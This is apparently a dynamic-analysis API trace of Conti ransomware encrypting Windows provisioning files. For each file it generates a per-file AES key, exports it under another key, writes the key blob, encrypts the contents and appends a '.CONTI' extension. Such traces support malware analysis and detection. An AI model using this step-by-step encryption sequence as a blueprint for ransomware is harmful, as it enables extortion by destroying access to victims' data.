	[0113.196] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x35a, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x360) returned 1
	[0113.196] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.196] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x360, lpOverlapped=0x0) returned 1
	[0113.197] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.197] WriteFile (in: hFile=0x418, lpBuffer=0x65b4060*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b4060*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0113.197] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.197] CloseHandle (hObject=0x418) returned 1
	[0113.197] GetProcessHeap () returned 0x1720000
	[0113.197] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65438e0
	[0113.197] lstrcpyW (in: lpString1=0x65438e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml"
	[0113.197] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.197] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\566__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\566__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.198] GetProcessHeap () returned 0x1720000
	[0113.198] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65438e0 | out: hHeap=0x1720000) returned 1
	[0113.198] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0113.198] GetProcessHeap () returned 0x1720000
	[0113.198] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1814fe0 | out: hHeap=0x1720000) returned 1
	[0113.198] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0113.198] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65b4bd0 | out: phKey=0x65b4bd0*=0x17c7ab0) returned 1
	[0113.198] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b4bd4, pdwDataLen=0x3e3fe8c | out: pbData=0x65b4bd4*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0113.199] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.199] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0113.200] GetLastError () returned 0x0
	[0113.200] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=846) returned 1
	[0113.200] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34e
	[0113.200] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.200] SetEndOfFile (hFile=0x418) returned 1
	[0113.200] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.200] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.200] WriteFile (in: hFile=0x418, lpBuffer=0x65b4bd4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65b4bd4*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.561] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.561] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x34e, lpOverlapped=0x0) returned 1
	[0114.561] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x34e, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x350) returned 1
	[0114.561] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.561] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x350, lpOverlapped=0x0) returned 1
	[0114.561] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.561] WriteFile (in: hFile=0x418, lpBuffer=0x65b4bc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65b4bc8*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0114.561] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.561] CloseHandle (hObject=0x418) returned 1
	[0114.562] GetProcessHeap () returned 0x1720000
	[0114.562] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.562] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml"
	[0114.562] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.562] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.563] GetProcessHeap () returned 0x1720000
	[0114.563] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.563] CryptDestroyKey (hKey=0x17c7ab0) returned 1
	[0114.563] GetProcessHeap () returned 0x1720000
	[0114.563] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1815418 | out: hHeap=0x1720000) returned 1
	[0114.563] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0114.563] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4dbc8 | out: phKey=0x6b4dbc8*=0x6b7eaf8) returned 1
	[0114.563] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4dbcc, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4dbcc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0114.564] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0114.564] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0114.565] GetLastError () returned 0x0
	[0114.565] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=480) returned 1
	[0114.565] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0114.565] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.565] SetEndOfFile (hFile=0x418) returned 1
	[0114.566] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.567] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.567] WriteFile (in: hFile=0x418, lpBuffer=0x6b4dbcc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbcc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.568] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.568] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x1e0, lpOverlapped=0x0) returned 1
	[0114.568] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1f0) returned 1
	[0114.569] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.569] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x1f0, lpOverlapped=0x0) returned 1
	[0114.569] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.569] WriteFile (in: hFile=0x418, lpBuffer=0x6b4dbc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4dbc0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0114.569] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.569] CloseHandle (hObject=0x418) returned 1
	[0114.569] GetProcessHeap () returned 0x1720000
	[0114.569] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.569] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0114.569] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0114.569] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\86__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0114.570] GetProcessHeap () returned 0x1720000
	[0114.570] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.570] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0114.570] GetProcessHeap () returned 0x1720000
	[0114.570] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18188f0 | out: hHeap=0x1720000) returned 1
	[0114.570] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0114.570] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4de10 | out: phKey=0x6b4de10*=0x6b7eaf8) returned 1
	[0114.570] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4de14, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4de14*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0114.571] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.571] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0114.571] GetLastError () returned 0x0
	[0114.571] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=712) returned 1
	[0114.572] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0114.572] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.572] SetEndOfFile (hFile=0x418) returned 1
	[0114.572] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.572] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.572] WriteFile (in: hFile=0x418, lpBuffer=0x6b4de14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4de14*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.574] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.574] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2c8, lpOverlapped=0x0) returned 1
	[0114.574] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2c8, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0) returned 1
	[0114.574] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.574] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.574] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.574] WriteFile (in: hFile=0x418, lpBuffer=0x6b4de08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4de08*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0114.574] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.574] CloseHandle (hObject=0x418) returned 1
	[0114.574] GetProcessHeap () returned 0x1720000
	[0114.574] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.575] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml"
	[0114.575] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.575] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\87__connections_cellular_o2 (czech republic)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.575] GetProcessHeap () returned 0x1720000
	[0114.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.575] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0114.575] GetProcessHeap () returned 0x1720000
	[0114.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b56988 | out: hHeap=0x1720000) returned 1
	[0114.576] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0114.576] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ee08 | out: phKey=0x6b4ee08*=0x6b7eaf8) returned 1
